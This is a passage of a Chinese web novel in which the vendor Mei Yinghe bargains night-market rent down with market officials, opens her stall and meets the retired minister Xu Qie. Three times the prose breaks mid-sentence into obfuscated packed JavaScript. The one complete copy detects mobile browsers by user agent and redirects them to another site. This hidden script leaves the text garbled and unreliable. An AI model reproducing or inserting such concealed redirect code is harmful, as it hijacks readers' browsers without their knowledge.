她快人快语,笑嘻嘻地边吃边说出这番话,好似在说,“今日菜场的大萝卜降价了,米面油也便宜许多呢”一样,云淡风轻、漫不经心。 “小船有水大船满,小船无水大船干,二位大人,我没什么文化,不知这话说得对不对。夜市人多却买的人不多,尤其是像我们这种小摊铺,根本不赚钱,为了交租金抽成,只能抬价,比外头的高了几倍,如何卖得出去。” 她两手一摊,一不小心,手里的鸡翅掉地上了,顿时引来了市监司养的一只老狗,那老狗自她进门就已经蹲守许久,终于逮到了机会,叼起就跑去门边大快朵颐,今日可算解馋了。 梅映禾看了一眼老狗,笑嘻嘻地又拿了一只鸡翅直接扔了过去。 老狗看她的眼神透着感激。 “小娘子意思我们懂了,就是有些词不达意。”文明修笑得十分有耐心,“是河,不是船,船里怎能有水呢,岂不淹了。” 哦,对,是这个话。 梅映禾笑着看向郝政,“大人觉得如何。” 那自然不如何,郝政气的想掀桌子。往年生意好的时候,向朝廷交的多,他自己也捞得多,这样一来,不但打破规则,面临其他商贩来找麻烦的压力,自己那份多拿的也没有了。 里外里都是赔钱的买卖,坚决不能同意,谈判就此打住,郝政甩手离去。 梅映禾也不生气,慢慢起身,朝着文明修扶礼,“买卖不成仁义在,这卤味就留给大家尝尝吧,持久留香,解馋得很。” 文明修眯起眼,意味不明的眼神打量了一下小娘子,还礼道,“那便多谢了,二位小娘子慢走。” 谈判进行得很快,走出市监司的大门,天光大亮。 小梅一步三回头:“都谈不成了,就不该将那些东西留给他们。” 动了人家的蛋糕,自然不能指望人家有好脸色。 梅映禾对于这次谈判是做好了准备的,是以故意带了卤味过来,谈不成是肯定的,但是关系不能僵。对于进夜市,梅映禾一有耐心二有两手准备。 “夜市进不了,咱们就去鬼市。她说,“我有的是耐心。” 鬼市在城西,跟夜市比起来整体档次降级,管理、规划的也没有夜市规整,人流量也小了很多,而且关市时间早,夜市开到子时,鬼市亥时就要关了。 但是退而求其次也比没得选强。 “那这几日岂不是白忙活吗。”小梅愤愤不平,“那位郝大人好大官威。” “怎么会白忙活呢,最起码咱们做了生意赚了银子,还赚足了口碑和粉丝,不吃亏的。”梅映禾笑得一脸灿烂,“至于那位郝大人嘛,他自然有他的想法,咱们不急,我宁愿等,宁愿去鬼市,但是要我花重金进夜市。” 梅映禾摇头,“这亏本的买卖我是坚决不干的。” 即便有了赵行之给的十两银子也不行,居家过日子,小买卖做生意,哪一样不得精打细算,钱不是这么花的。 对于未来,梅映禾还有更大的设想和规划呢,一步步走下去,这就开始着急花银子,那以后没个头了。再说,粉丝经济是梅映禾看好的,即便在这样一个消息不发达的时代,人与人之间的联系更加紧密,反倒更重要,权当拉出来试水,日后好更加精进。 说干就干,梅映禾一拍大腿,“还有时间,家里东西都是现成的,走,回家带上东西,今晚就去鬼市。” 鬼事没有租金,按日收抽成,而且只有一成,费用不高。 但是要自己带着铺子过去,梅映禾有现成的装备,一拉就响,小梅担心老客们都不知道她们今晚不去夜市门口了,“跑空了怎么办?” 梅映禾笑得狡黠,“要得就是跑空。” 小梅不懂,看向梅九畴,梅九畴也不懂。 梅映禾戳了戳赵行之,“我的代言人,你来说。” 赵行之不知她说得代言人是个什么官职,好在已经习惯了她嘴巴里日日都会冒出来一些闻所未闻的新鲜词汇,和她给他们每个人封的官。小梅是运营长,梅九畴是物流长,赵行之是代言人,她自己是品牌创始人。 听上去可都是大官咧。 “跑空的老客自然会在夜市门口打听,总能打听到,消息自然就放出去了。”赵行之看了看一脸得意的小娘子,“她这是在给市监司的人制造压力。” “是制造焦虑。”梅映禾补充,就让他们今晚被老客们围攻吧。 鬼市的人果然不多,自然应对的策略也不同。 赠品不送了,所有食品的价格一律降低,最低的只有四成,再加上可以试吃,所以一晚上鬼市的生意也极好,只是这样卖的越多倒是赚得越少了。梅映禾把卤味也加进去了,算是给鬼市的一点点特殊福利吧,所以生意是越来越好,人也越来越多,知名度更广了。 两日后,梅映禾又一次接到了市监司的消息,这次是请她再谈一次。 好,梅映禾打算空着手去,什么都不带了。 15. 庆祝还得是火锅 市监司。 还是那个房间,还是那个位子,衙差上了茶水,梅映禾笑嘻嘻谢过,端起茶盏慢慢吃茶。 上次来就觉得这里的茶好喝,今日仍觉得不错。 茶香四溢,浓醇清爽后味回甘,还有一股独特的微花浓蜜的香味,好喝,爱喝。 中国人自古爱喝茶,梅映禾正琢磨着要不要做一些茶点的时候,对方率先开口,“梅小娘子,这……” 文明修看着冷却的气氛,郝政脸上写着生人勿近,对面梅小娘子也不似上次那般热情了,这总得有人暖场不是,于是清了清嗓笑得十分和煦。 “敢问大人,这是什么茶?“梅映禾打断了文明修的话,对方一愣,随后赶紧笑答,“岭头单丛,梅娘子觉得这茶还可以?” “嗯,好喝。”梅映禾点头,“我记下这个名字了。” “我也十分喜欢这茶,这是觅到知音了。”文明修欣喜,“这是九月的秋茶,新采摘的,马上要下去了,等到十一月份会有冬茶,到时候我亲自给梅小娘子送去府上。” “不敢当,不敢当,怎能劳动大人。”梅映禾赶紧起身道谢拒绝。 这么你来我往的气氛倒是一下子舒解开来了,言归正传,文明修继续方才的话: “不知梅小娘子对于价格,还有没有新的想法。” 这几日,市监司的压力前所未有的大。 上头点名批评,郝政被骂得狗血淋头,不单单是因为梅映禾造势成功,将知名度带去了鬼市,更重要的是,夜市的许多商户生出了离开夜市的念头。 鬼市也并非不能做生意,成本低对于小本营生太重要了。夜市空有人气却不见客人们掏银子,每个月雷打不动地上缴抽成和租银,实在是不划算。眼看着鬼市马上就被带起来了,大家纷纷前去尝试探路,这几日,夜市许多商户闭门,其实都是去鬼市尝试去了。 “银子赚不到,连人都留不住,要你何用。” “给你人手,满京城宵禁只有夜市开放,你却不升反降。” 这是郝政被骂得最多的话,三十多岁的官场老油子,被骂了一个多时辰,衣裳都汗透了。 郝政抬起眼皮,看着眼前的小娘子,小小年纪,长得一张人畜无害的脸,的确俊俏,却包藏了如此老谋深算的心思,实在是轻敌了。 再看看文明修,真是少年郎的心思,一见到好看的小娘子骨头都轻了,郝政无奈,只能拉下脸皮再谈一次,上次这位小娘子提出的每月五百赁银和抽三成,也不是不能接受,只是如此一来,其他商户也难免要跟着降价,哎……郝政摸了摸自己的袖袋,每月那点儿喝酒的银子日后怕是没有咯。 “文大人,我们回去商量过了。”梅映禾十分客气,“月银三百文,抽成嘛……” 她看了旁边的郝政一眼,笑了笑,伸出一根手指,“一成。” 郝政正在饮茶,听闻此言,一口浓茶带着茶叶呛进嗓子眼里,差点儿没咳出老血来。 文明修慌忙拿来斤帕帮他拍打后背,郝政不耐地推开他,问:“你说什么,多少。” “三百文,抽一成。” 好家伙,比上回还低。 若不是在市监司,若不是正在商谈,郝政恨不能拎起手边的椅子就砸过去。 “梅娘子,你当我们市监司是你们田间地头吗,你信口开河想一出是一出,欺人太甚。” 堂堂七尺男儿,好歹还穿着官服呢,骂一个比自己矮了将近两头的平民小娘子“欺人太甚”,那种委屈、无奈、憋闷,实在让人忍俊不禁。 若不是梅映禾临出门的时候千叮咛万嘱咐,“千万不能笑,千万别多说话”,小梅差点儿就笑死过去了。 “我知道是我出尔反尔。”梅映禾讪笑道,“可这也是没办法的事,做生意讲究随行就市,如今我们在鬼市做得风生水起,虽说鬼市不及夜市人多,可人家给的条件十分优厚,本来就没有赁银,现在连抽成也可以暂免。” 文明修到嘴边的话,再说不出来了,转头看了一眼憋得面色铁青的郝政,“大人,这……” 这实在出乎意料,没想到鬼市动作如此快,为了拉拢人气竟这般没底线。 “那个姓郑的王八羔子,他给我等着。”郝政嘀咕了一句。 文明修知道他骂的是负责管理鬼市的郑司正,其实都算不得司正,只是个普通的差役,负责西市的安防顺带着鬼市也一并管了。 “大人……” “大什么人。”郝政气急败坏地倏然起身,拂袖而去,“都走都走,看着心烦。” 梅映禾没想到这位大人这么急躁,还这么……没风度。 “那我们就先告……”梅映禾的话还没说完,就被文明修挡住了。 “二位稍坐片刻。”文明修怕梅映禾走了,忙起身道,“来人,再上茶,梅娘子稍等我一下,我去去就来。” 说完不等梅映禾点头,一边行礼一边一溜烟跑去追郝政了。 终于在郝政的值房门口截住了人,文明修气喘吁吁抱着郝政的胳膊不撒手,“大人,大人听下官一言。” “文明修。”郝政目光如炬,“我敬你是探花郎,又是陛下钦点的副司正,还请文大人莫要多言,这种价格简直就是目中无人,无知小儿,以为自己生意好便能搅动夜市,休想,做梦。” “大人,大人。”文明修一边规劝,一边从袖中拿出一本奏折,“大人莫及,这是方才刚下来的陛下的批复。” 郝政闻言一愣,这才住了嘴,讪讪问道:“陛下,什,什么意思。” “大人,进屋说话,请听下官把话说完。”文明修长出了一口气,道:“陛下对于夜市十分的……” 他看了一眼郝政,一咬牙,“不满意,雷霆怒火,大人当真接得住吗?” 郝政不说话,眼神却仍旧愤愤不平。 “大人,当务之急并不是死咬着银子不松口,咱们得改变。陛下愿意看到改变,所谓,穷则变,变则通,通则达。这个道理大人不是不明白吧。如今这般僵持下去,失了人心,哪里还有银子可言,若是咱们的商户都被那老郑抢了去,大人,你我又将何去何从啊。” “那……”郝政一口气憋着,到底还是什么都说不出来,“我们就这样被一个小娘子欺负吗。” “大人,趁着现在陛下还有耐心,还愿意给你我给夜市一个机会,我们要先改变,让陛下,让商户,让百姓看到夜市的改变,大家才有信心,咱们才能从头计较,正所谓不破不立,夜市积重难返,必得断臂自救啊。” 肺腑之言,切中要害。 看着郝政的眼神柔和了许多,面上带着一些羞怯,文明修趁热打铁,“还请大人莫要怪罪在下擅自上书陛下,将改制的草案未经大人同意先报了上去,不过好在陛下批了,不但批了,还有御笔朱批,表扬大人知耻而后勇,敢于从头再来,大人请看。” 文明修将奏折摊开交给郝政,新政果然是被陛下批过的,上写:月银抽成自行商定,不必拘泥于现状,给尔等三个月的时间革新。 三个月啊,这是最后的期限了,若是再不改变,莫说这个司正做不得,恐怕这项上人头和一家老小……郝政不敢往下想了,没了脾气,只想知道具体价格该怎么定。 “若是大人愿听下官一言,就按照梅娘子说的定,月租三百文,只不过抽成要分层级,毕竟夜市的商户大小不等,总体来讲抽一成最多两成,若是实在生意不好的暂免抽成都是可以的。” 这可是前所未有的,郝政冷汗直冒,思前想后,再看看这位年轻的探花郎,人家是陛下钦点的人,给不给自己面子全在人家一念之间,他私自上奏天听也是名正言顺,更何况人家还带上自己一笔,算是仁义,若是再不知好歹,咬着芝麻丢了西瓜,恐怕就是死有余辜了。 “多谢文大人。”郝政终于理了理衣衫,郑重向他行礼,“多谢大人救命之恩。” 到底是沉浸官场已久的老人,郝政果然一点就透。 谈判谈成了,文明修送二人出门,“多谢梅娘子愿意给我们一个机会。” 瞧瞧人家这态度,梅映禾不好意思道,“还请大人莫怪我太奸诈。” “在商言商,不敢不敢,梅娘子若是不嫌弃,我们交个朋友,若是日后有用得着下官的地方尽管开口。”文明修十分认真地说道。 梅映禾也不客气,“能跟大人做朋友是我们的福气,若说起有所求,当下小女子便有一事相求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“今日可还顺利?”梅九畴仍旧不放心,“他们当真没为难你们?” 小梅说:“放心吧,早儿可厉害着呢,那个价格说出口我都吓一跳,郝大人当场就被气走了,谁知那位文大人跑出去劝了一会儿,人回来了,条件也答应了。” 赵行之手上顿了一下,“文明修?” 小梅说:“对对对,就是这个名字,一听就是个有文化的名字,我瞧着那位大人脾气极好,人长得也好看,还要跟我们早儿做朋友。” 赵行之默不作声地吃着东西,梅映禾发现他吃得很挑剔,蘸料只有醋,涮菜也只吃虾和鱼肉,对于牛羊肉似乎并不怎么感兴趣,便问:“七哥,你们京城里头的富庶人家不都是吃羊肉吗,七哥怎么不喜欢。” “文明修曾是探花郎,为人也很和善。”他不知为何没回答梅映禾,倒是说了这么一句不相干的话,“此次恐怕多亏了他。” 梅映禾点头,“没错,这位文大人我瞧着是个有成算的。” 赵行之斜着眼睨着她,“但是,你是商,又是女流,还是同为官者少打交道。” 梅映禾:…… “对,你七哥说得对。”梅九畴现在对于赵行之的话是奉如圭臬,也不知被灌了什么迷魂汤。 梅映禾不应,转过头冲着小九扔了一块肉,“九哥,多吃肉。” 小九已经被她洗得干干净净,原来是一只白色的小狗啊,还以为就是灰色呢。 “汪汪”九哥吃得开心又得意。 “他们说咱们九哥厌食。”梅映禾抚摸着正大快朵颐的小九,得意道,“什么样的狗到我手里,保准治好他的厌食症。” 此话换来赵行之一阵剧烈地咳嗽,简直面红耳赤,喘息不稳。 “咱们的问题暂时解决了,三个月内,许县丞的银子定能还上。”梅映禾说,“不知道梅花村的籍属证明,许大人解决得怎么样了。” 从这次谈判,梅映禾深切地感受到,要想彻底改变窘迫的现状,必得自上而下地进行,才能事半功倍。正如这次跟市监司谈价格,梅映禾并不认为是自己能力巨大,促使夜市降价。 “一定是他们自己也意识到了问题,只不过我是那导火索,促进了事情发酵,这才一击而中。” 若是不能解决梅花村的困局,那么三个月后,她们即便是还清了许县丞的银子,也依然会回到过去的困局之中。 天边的一抹彤云映照着她的侧颜,笑靥如花的面颊上带着不易察觉的隐忧。赵行之看在眼里,其实近日他已经去见过许大人了。 16. 开张大吉 梅映禾去谈判的这一日,赵行之便去了许且的署衙。 县丞的署衙可称得上是简陋破旧。屋檐落瓦,墙面斑驳,多雨的季节更是爬上一层霉点子,一个破败摇曳的小院子,碎石铺路,零星的杂草从石缝中冒出枯黄的叶,挣扎求生。 屋子门扉大开,远远就能看到一个清瘦的身影正坐在窗边奋笔疾书,时不时还拈起一粒豆子放进嘴巴里,享受地咀嚼着。 许且,老家山东,是个直爽开朗的性子,曾经的状元郎,为官半生清正廉洁、爱民如子,一路起起伏伏走到了宰相的位置,却因当年的“云岗冤案”为好友向延据理力争而触怒天颜,被陛下鞭笞,这些年倒也乐得其所,竟不愿回京了,一直辗转各个小县做县丞,此生惟愿:一生渺渺融乡野,不争功名却心安。 想起老大人的心愿,赵行之不免顿住了脚步,这位曾经是他的启蒙恩师,为宰相的那几年带着赵行之和当今陛下读书明理,师徒感情颇深厚。如今老大人对朝廷失望,对百姓热忱,对向家愧疚,不知还是否愿意再见他。 大约是听到了脚步声,窗边的人抬起头,亦是朝他望过来。 四目相对,多年的恩师苍老了许多,隔着十几步的距离,赵行之当即跪下像许多年前一样,郑重地行了师徒礼。 “是……”老大人竟一时不敢相认,“云策吗?” 云策是赵行之的字,是老先生最得意的学生,许且看到那张俊逸出尘的脸,顿时笑开了花,连忙奔出屋子,“是云策,云策怎么来了。” 没想想象中的尴尬,老师还和从前一样,如顽童般开朗,对他也依旧亲切。 “老师,学生来看望您。”赵行之眼中含泪,在看到许且的那一刻只觉胸腔起伏了一下。 老师越发清瘦了,面色更白了,眼底发青,须发花白,一身素衣虽旧却十分干净。 “老师还是终日夜不能寐吗?” 二人相携进屋,许且忙着沏茶倒水,赵行之坐在他的对面。 “云策可的厌食之症可有好转?” 茶水递到面前,赵行之低头笑了一下,“似乎,略有好转。” “哦?”出乎意料的答案,许且的眼神都发光了,“那可是好事,可是心结解开了?” 那倒没有,赵行之默默摇了摇头,“我此番遇险,还没查到真凶。” 许且点头却不答话,笑眯眯地端起那一盘炒豆放到他手边,“尝尝这炒豆,我特意让县衙的厨师婆娘帮忙炒的,焦香爽脆,年纪大了,就是靠着这一口酒一粒豆撑过一夜又一夜。” 赵行之拿起一颗炒豆,金黄色的黄豆被炒得面上略有黑糊的斑点,吃到嘴里脆脆的,只有一点盐味,剩下尽是黄豆的焦香。 老先生素来爱吃也会吃,只可惜,这些年辗转颠沛,恐怕是难能吃上可口的食物了。 不知怎么,赵行之突然就想起了梅映禾,若是她在这里,老先生一定精神更加矍铄,每日都盼着饭点儿。 这一老一小倒是真的对路,想到这里不觉脸上露出一抹笑意。 “云策且把心放宽些。”许且自是察觉到了他细微的表情变化,只作不知,道,“老夫的失眠症和云策的厌食症皆因多思。凡事任其发生,不要思虑过多。” 许且摆摆手,讪笑道:“老夫如今正在尝试改变,吃眼前的,看眼前的,管眼前的,莫要多想,你也不必劝老夫少熬夜,老夫如今熬夜可不是全在处理公事,你瞧。” 他拿出压在一堆卷宗下面的一打纸递给赵行之,十分得意地抱臂看着他,笑而不语。 赵行之接过仔细看过,诧异道:“棋谱?” 许且得意地点点头,“此一生一事无成,若能将此棋谱留下,也算是没白来这一遭。” 许且的棋艺无人能敌,且棋风凌厉、杀气逼人,和他这文弱书生的模样大相径庭,他的棋风也是赵行之最喜欢的,曾经跟着老师学了几年总觉得自己学艺不精,走不出那气魄,为此一直在潜心研究。 简直如获至宝,赵行之将棋谱抱在怀里,刚要比手道谢,便被许且一把夺了回去,“这,不是送与云策的。” 老头儿仔细地捋平根本没有弄皱的纸张,“云策且等等,等老夫写完,也等云策的厌食之症治愈,等你的心结解开,老夫自然双手奉送。” 还是那个小气的老头儿,赵行之倒是会心地笑了,看来老师依然如前,并未有任何改变,这便是最好的。 “那,老师可会答应皇兄再回朝堂?” 许且默了默,瘦削且满是皱纹的大手扶在那一摞高高的卷宗上,“随缘吧。” 这便是遥遥无期的意思吗,赵行之点了点头不再多问。 “老师,今日学生来还有一事想问,梅花村村民的籍属证明在几年前洪水中丢失尽毁,到现在仍无下落,整个村子的人哪里都去不了,他们……” “你怎么会关心起这件事情来。”许且的眼神骤然亮了起来。 “学生被梅花村一户村民所救,蒙人家不嫌弃,住了些时日了。” 许且这才露出笑颜,“老夫正在为此事努力,梅花村风水好民风淳朴,老夫去看过,生长的作物也极好,距离京城又这般近,若是能发展得好,将来必能成为京城的粮仓,何须舍近求远还要花费巨大的物力财力从远远的江南运粮到京城。” 老头儿用力摇了摇头,“只怕这里头有太多的事和人,揪出来会是个麻烦。” 赵行之点了点头,锁眉看着许且。 许且被他看乐了,“晋王殿下放心。” 他用了官称,“老夫定当竭尽所能。” 有老师这句话,赵行之也算是真的放心了。 “这件事还得从陛下入手,赋税得先缓一缓,必得先投入再产出啊,老夫正在写奏折,愿做这个担保人,此事解决,两年内保证梅花村如数交税。” 说着说着,许大人便投入进去,将奏章的细节逐一同赵行之商量,二人斟酌后的改动许且十分满意,捋须笑着点头,“如此,甚好,甚好。” 说完,又觉不对,一转头看向赵行之,“云策向来不问政事,为何会对这梅花村的事如此上心。” 话说到这里,师徒都十分尽兴,赵行之也不打算隐瞒,便直言不讳地将梅九畴、梅映禾兄妹两个的情况和盘托出。 换来的却是许且地哈哈大笑,“老夫当日就看着那个小娘子不同寻常,没想到小丫头这般厉害呢,能得晋王殿下一句称赞,那老夫一定要去见见她。” 老人家眼中闪着精光,灼灼地盯着眼前垂头不语的年轻人,面颊泛起红晕的赵行之嘴角又一次微微上扬,哦,许大人似乎想到了什么,原来如此吗?那可真是天大的好事啊。 对于梅映禾,许且是十分地看好,“小娘子人不大志气不小,老夫还真等着她一鸣惊人呢。” 送赵行之出门的时候,许且还特意多问几句梅映禾的事,知道她要去夜市的时候,许且高兴地抚掌,“老夫喜欢逛夜市,喜欢买吃的。” 赵行之笑道,“那老师的炒豆先放下吧,吃多了对身体不好,回头我让佑安给老师送些好吃的过来。” 还特意补充了一句,“是梅小早做的。” 换来许老师的连声催促,“那可让佑安快这点儿。” 下午,梅映禾和小梅准备夜市所需物品的时候,赵行之就要了几份让佑安送去给许大人了。 “伴手礼多准备些。”梅映禾道,“哥哥去买油纸了,等回来多包一些。” 所谓伴手礼便是因为夜市头天开业,买东西人人有份的赠品,里面是梅映禾平日闲来无事做的各种糖果,有牛轧糖、牛乳酥、芝麻糖、高粱饴糖等等,再加上辣条、薯条、江米条各一个,包在一个油纸包里鼓鼓囊囊,再用红线扎口,咦,别提多诱人了。 “就冲着这伴手礼,我也会买。”小梅笑道,“更别说开张的价格这么低。” 梅映禾给了非常大力度的优惠,可谓前所未有,夜市盘子太大,人又多,每天入驻开张的商铺也很多,要想站住脚跟就得先舍得。 铺子前不一会儿就排了长队,都是夜市里的新客,赠品、礼物都是提前包装好的,梅九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梅映禾忙着做吃食又忙着解释、答话,一时还真是有些分不开身,这时,不远处浩浩荡荡来了一群人,打头的二人还举了幌子上写“梅小早”,梅映禾看过去,原来是一起做早食的阿叔和阿婶,还有之前买早食的老客。 听到了消息,大家都过来给她捧场了,梅小早摊铺前的长龙蜿蜒到了夜市门口,简直壮观。 其实梅映禾没想着开张第一日就请她们来,毕竟时辰太晚,日后有的是机会。 可是大家还是自发来了,不仅来了还带了礼物,都是些实惠的东西,你送一篮鸡子,他送一口锅,还有送罩衣、头巾的,还有送碗筷、炒勺的,五花八门,梅映禾感动地直抹眼泪,什么话都说不出来,只能拼命地做好吃的,请大家吃,可是人家也不白吃,非要付银子,说是开张大吉不能赊账。 一时之间,梅映禾的摊铺前喧嚣热闹盖过了整个夜市,聚拢的人也越来越多,这一炮算是打响了。 东西好吃,人长得好看,嘴巴也甜,价格也不贵,更重要的是还为其他商铺谋了福利,大家都知道是因为这位小娘子,他们才能跟着一起降租金少抽成,感谢还来不及呢,纷纷凑了这份热闹,过来给梅小早捧个场。 站在一边檐下一直看着的郝政负手而立,皱着眉头拉着脸看着这一切。 路过他身边的商贩、食客们纷纷同他打招呼: “郝大人,多谢啊。” “郝大人这是给夜市谋福利了。” “郝大人好本事啊,夜市往后会越来约好的。” …… 苦笑着回应,一个接一个,打招呼的多了,再看郝大人的一张脸竟慢慢变成了笑模样。 梅映禾忙得不可开交,一个一个的惊喜,让她目不暇接。 “梅小娘子,恭喜开张。” 梅映禾抬头,是文明修。 “文大人来啦。” 文明修送上贺礼,是一对儿可爱的招财娃娃,放在一旁甚是喜庆。 “多谢大人,您想吃点儿什么。” 文明修羞涩地一笑,“梅小娘子还这般客气,总是大人大人地叫,若是不嫌弃就叫我清砚吧。” “这……”梅映禾觉得不妥,“大人就是大人,这么叫不妥吧。” “对,是不妥。” 一个声音横空出世,二人皆是一怔。 面前站着一位清瘦俊逸的老者,一身素衣洗得发白,须发花白却神采奕奕,正捋须笑呵呵地看着她。 17. 夜市西施 “ “许大人。” 梅映禾欣喜地喊出声,脸上带着亲切的笑容,“大人见谅,我这一手油,无法行礼。” 许且摆摆手,笑呵呵地看着她熟练地烫煮煎炸。 “许大人,在下文明修,久仰大人大名,晚辈有礼。”文明修正儿八经地行了个大礼。 在场的其他人也都看愣了,这位便是那个传说中的许大人啊,朝堂上有几个许大人啊,就是那个为万民请愿,替白将军证言的曾经的宰相大人。 围观的人一时多了起来。 许且扶起文明修,“文大人不必多礼,大家也都请各自随意,老夫只是来逛逛,跟大家一样。” 人群中纷纷向老大人问好,老大人也一一向大家问好,示意大家如常。 最后,许且的眼神飘向梅映禾身后一直默默地赵行之,二人眼神交汇,彼此装作不识。 “清砚科考之时是大人举荐的,大人的大恩清砚终生难忘。” 文明修的话倒是提醒了许且,当年科举有一位寒门子弟,无师无门孤身一人应战,文章俊秀、才华横溢,可谓是胸怀大志且博古通今,虽有不少官员力荐官宦子弟,也不乏背景深厚家世显赫的世家子弟来托人保举,可许且仍旧是力排众议,坚持将最有才华的几人的卷宗放到了御案之上,这才不使明珠蒙尘。 原来是他,许且道:“既如此,文大人该知老夫性格,快起来吧。” 文明修这才起身,恭敬地站到一旁。 梅映禾忙道,“许大人稍等,文大人的晚食就好了,下一个便为许大人做。” 许且摆手,“老夫不急,家仆已经去排队了,老夫就在这里看着梅小娘子操刀,也是难得的美景啊。” 一番话说得梅映禾喜笑颜开,更加卖力地干起来。 小娘子丝毫没有扭捏羞涩,大大方方坦坦荡荡,倒是一旁的文明修涨红了脸,躲闪着眼神偷偷地看着小娘子,再看看赵行之,肃容不语,时不时瞥一眼文明修…… 这三个人,不对,应当是这二人,恐怕是那种关系,许且捋须观察,生平头一遭因为自己看透了这种小儿女之态而沾沾自喜。 与文明修只有过一面之缘,这云策嘛,可是自己亲亲的学生,许且心中盘算,为师者,不帮自己的学生还能帮着旁人不成。 许且驻足看了半晌,确定自己看明白了,老先生清了清嗓,冲文明修道,“文大人今日不用值守?” 文明修冷不丁被点了名字,怔愣片刻,忙行礼解释,“下官只是出来查看,买点吃食就会值房了。” 许且点头不语,点到即止。 刚好这时候梅映禾做好了文明修的晚食,包起来再加上伴手礼一起交给他,“文大人拿好。” 文明修还未开口,许且道,“文大人是梅小娘子的伯乐,这声大人叫得好,就该如此。” 梅映禾笑着行了个蹲礼,“是。” 文明修略显尴尬,方才的话题也不便再提,拿了晚食告辞离去。 “梅小娘这做的是什么。” 老大人真是严防死守,连文明修最后同梅映禾道别的一眼都被他生生挡住。 梅映禾忙解释,“这叫酸辣粉,酸爽麻辣,大人可能吃辣。” 许且眼神不错地盯着酸辣粉,点头,“能,可是蜀中味道。” “正是,大人真是行家。”梅映禾又继续介绍,“再给大人来一份红油馄饨,还有鸡翅。” 老大人一边点头,眼神一边飘向了那些包装好的伴手礼上,梅九畴还在忙碌,看着老大人朝他看过来,忙道,“这是零食,对,小早说是零食,就是不是饭,平日吃着玩的。” 那些辣条、薯条、江米条,还有卤鸡卤鸭,老大人其实已经吃过了,相当合口味,就是佑安给送过去的。没承想,太不禁吃了,送去了几大包已经吃得见底了。 目光再次看向赵行之,许且流露出得意的神色,赵行之倒是羞涩地躲闪起来。 少年人的心思确定无疑了,许且为自己的学生终于开窍,很是欣喜。 老大人把所有的吃食买了个遍,尤其是零食,总嫌不够,梅映禾笑说,“大人若真喜欢,这些辣条、薯条、卤鸡卤鸭,还有炖煮,我可以给大人送过去,日后还会有更多新的吃食,大人若是不嫌弃,小早就隔几日给大人送一次,您看如何。” “不好。”许且摇头,等着嘴巴里的卤鸭翅吃完,才开口道,“最多隔一日。” 梅映禾一愣,随即笑着答应,“成,我日日都会经过县衙,那就隔一日送一次。” 如此便说定了,许且看着眼前风生水起的梅小早食铺,叹道,“梅家兄妹令老夫刮目相看,实在是佩服,小早,老夫日后就这般唤你了,逆境求生,百折不挠,令人钦佩,老夫就等着你们兄妹的好消息了。” 老大人带着家仆大包小包地走了,却给梅映禾带来更多的生意。文大人和许大人都来买的食铺,而且许大人还定了每日的分量,想来定是不错,一时间,梅小早食铺前门庭若市,队伍又排出了新长度。 梅映禾一边忙碌一边不停地劝大家,“理智一点,先买一点尝尝,合口味再买。” 越是劝反而买的人越多,这边的热闹已经传遍了整个夜市,正在闲逛的薛展大公子自然不会放过这个热闹,带着家丁摇着扇子匆匆而来。 “哟,这不是那一日夺簪子的小娘子吗。” 简直就是意外之喜,这位薛展薛用夫是吏部尚书薛谦的独子,因从小体弱,薛谦又是个一心忙于政事的人,对孩子自然百般教养、言听计从却疏于管教,长此以往竟养成了纨绔子弟的作风,整日伙同狐朋狗友斗殴、寻衅,薛谦为此没少烦恼却始终无法改变。仗着自己家大业大,这位薛小爷不学无术,尤其喜欢追着漂亮小娘子跑,简直把老爹薛大人的老脸都丢尽了。曾经还因惹怒了贵门千金闹到了御前,薛谦为此得了陛下好一番责骂,回去更是险些将这逆子打死,却依旧无用。 听得声音不对,小梅率先放下手里的东西就挡在了梅映禾身前,“你要干什么。” “哟,来了个厉害的,哥哥没想干什么,哥哥就是想……” “你是谁家哥哥。”梅九畴也冲了出来,“想买吃的后头排队去,不买赶紧走人。” “哟,来了个硬茬。”薛展叫了家丁将梅九畴团团围住,“你可知小爷我是谁。” “我管你是谁,天王老子来了也得排队。”梅九畴毫不示弱,索性撸起袖子,露出精壮结实的臂膀。 “有把子力气管屁用。”薛展收了扇子,在梅九畴脸上戳着,“小爷我想要的,就没有得不到的。” 说着就左右看了一眼,“给我上,让这个憨大个知道知道小爷的厉害。” 左右的家丁就要一拥而上的时候,梅映禾自然不能坐视不理,从铺子后头跑出来这就要上去拉架,却不想被一股极大的力道拦腰抱住,愣是将她稳稳地放回原地, “你好好待着,别添乱。” 一个身影从眼前飞过去,梅映禾看到赵行之的时候人已经站到了薛展和九郎之间。 他个子很高大,又有嘈杂的人群隔开,梅映禾听不到他们说了些什么,只看到七哥同哥哥说了句什么,然后就拎起薛展的衣领没了人影,再看那一群跟着薛展的家丁,如没头苍蝇一般到处乱找人,然后听说去了夜市外头,就一窝蜂地跑出去了。 这事就这样平息了,在场所有的人无不怔愣地没反应过来。 梅映禾上去拉住梅九畴,“哥哥没事吧。” 梅九畴也愣愣地看着她,看清楚是小早这才摇摇头,“没事。” “哥哥,七哥呢,他跟你说了什么,去了哪里?” “我,不知道。”梅九畴摸了摸后脑勺,“你七哥说……去给你买好吃的。” 梅九畴咽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14027407|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下吐沫,努力回忆,“然后那无赖好似见了鬼似的,就说了一个‘今’字,就被带走了。” 梅九畴看着二人远去的方向,忍不住感慨,“没想到啊,你七哥的轻功如此了得,早知道应当跟他学个一招半式的……” “哥哥。”梅映禾打断他,“七哥没事吗,我们要不要去帮忙。” 梅九畴这才想起来,“是啊,不然我去看看。” “七郎回来了。”小梅最先看到了赵行之。 只见他闲庭信步一般从大门外正朝这里走来,手里还拎着什么。 梅九畴怔愣,“七郎不会是把人家的头割下来了吧。” 